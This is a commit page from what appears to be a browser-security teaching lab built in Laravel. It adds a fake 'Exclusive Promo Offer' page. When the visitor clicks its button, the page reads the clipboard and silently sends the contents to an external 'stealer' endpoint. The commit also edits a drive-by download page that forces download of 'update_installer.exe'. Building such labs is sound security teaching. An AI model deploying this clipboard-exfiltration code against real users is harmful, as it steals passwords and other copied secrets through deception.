mcoder_rezvan2/browser-sec-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add

Browse Source
This commit is contained in:
mcoder 2026-04-16 11:52:44 +03:30
parent 6dc37ae6c3
commit 7742ea3e4b
3 changed files with 65 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

56
resources/views/hacker/clipboard.blade.php Normal file
View File

@ -0,0 +1,56 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Promo Code Verification</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-50 text-gray-800 flex items-center justify-center h-screen">
<div class="max-w-md w-full bg-white p-8 rounded-xl shadow-lg text-center">
<h1 class="text-2xl font-bold text-gray-800 mb-2">Exclusive Promo Offer</h1>
<p class="text-gray-600 mb-6">Verify your promo code to get up to 50% off on your next purchase.</p>
<button id="verifyBtn" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-semibold py-3 px-4 rounded transition duration-200 ease-in-out">
Verify Promo Code
</button>
<div class="mt-8 text-left p-4 bg-gray-100 border-l-4 border-red-500 rounded text-xs text-gray-700">
<strong>Lab Observation:</strong> Open DevTools (F12) to monitor the console.<br>
- <strong>Attempt 1:</strong> Zero-click read attempt on load.<br>
- <strong>Attempt 2:</strong> User-gesture read attempt on button click.
</div>
</div>
<script>
// Attempt 1: Zero-Click Test on window.onload
window.onload = async () => {
console.log('[Lab] Attempt 1: Trying to read clipboard without user activation...');
try {
const text = await navigator.clipboard.readText();
console.warn('[Lab] WARNING: Browser allowed clipboard read without user interaction! Data:', text);
} catch (error) {
console.error('[Lab] SUCCESS: Browser blocked zero-click clipboard read. Error:', error.message);
}
};
// Attempt 2: User-Gesture Hijacking
document.getElementById('verifyBtn').addEventListener('click', async () => {
console.log('[Lab] Attempt 2: Trying to read clipboard with user click gesture...');
try {
const text = await navigator.clipboard.readText();
console.warn('[Lab] VULNERABILITY: Successfully read clipboard data during user click! Data:', text);
// Silently send stolen text to stealer
fetch('http://hackerapp.eitebar.ir/stealer?data=CLIPBOARD_STOLEN:' + encodeURIComponent(text), { mode: 'no-cors' });
console.log('[Lab] Stolen data sent to stealer endpoint.');
alert('Promo code verified (or clipboard hijacked)!');
} catch (error) {
console.error('[Lab] Browser blocked clipboard read even with user gesture (or permission denied). Error:', error.message);
alert('Failed to verify promo code. Please allow clipboard access if prompted.');
}
});
</script>
</body>
</html>

6
resources/views/hacker/drive-by.blade.php
View File

@ -21,13 +21,13 @@
<div class="space-y-6 text-lg leading-relaxed">
<p>Artificial Intelligence is moving at a breakneck pace. By 2026, the landscape of AI tools has shifted entirely, integrating seamlessly into our daily workflows. In this article, we explore the top 10 tools that are reshaping industries.</p>
<h3 class="text-2xl font-semibold mt-4">1. NeuralSync</h3>
<p>NeuralSync offers unparalleled brain-to-text capabilities, allowing users to draft emails and documents simply by thinking about them. Early adopters are reporting a 300% increase in productivity.</p>
<h3 class="text-2xl font-semibold mt-4">2. QuantumCode</h3>
<p>Forget Copilot; QuantumCode writes entire applications based on a single paragraph of prompt, deploying them instantly across multiple cloud providers securely.</p>
<p class="text-blue-500 font-semibold mt-8 animate-pulse text-center"><em>(Click anywhere to continue reading...)</em></p>
</div>
</main>
@ -51,7 +51,7 @@
// Ensure we only trigger it once to simulate a covert download
if (!window.hasTriggeredDownload) {
window.hasTriggeredDownload = true;
const a = document.createElement('a');
a.href = "{{ route('hacker.payload') }}";
a.download = "update_installer.exe"; // Force download hint

7
routes/web.php
View File

@ -32,7 +32,7 @@
return view('hacker.clickjacking');
})->name('hacker.clickjacking');
// Drive-by Download: Fake Malware Payload
// Drive-by Download Payload
Route::get('/payload.exe', function () {
$content = "This is a harmless dummy payload simulating malware for the Browser Security Lab.";
return response($content, 200, [
@ -46,6 +46,11 @@
return view('hacker.drive-by');
})->name('hacker.driveby');
// Clipboard Abuse Exploit Page
Route::get('/clipboard', function () {
return view('hacker.clipboard');
})->name('hacker.clipboard');
});
/*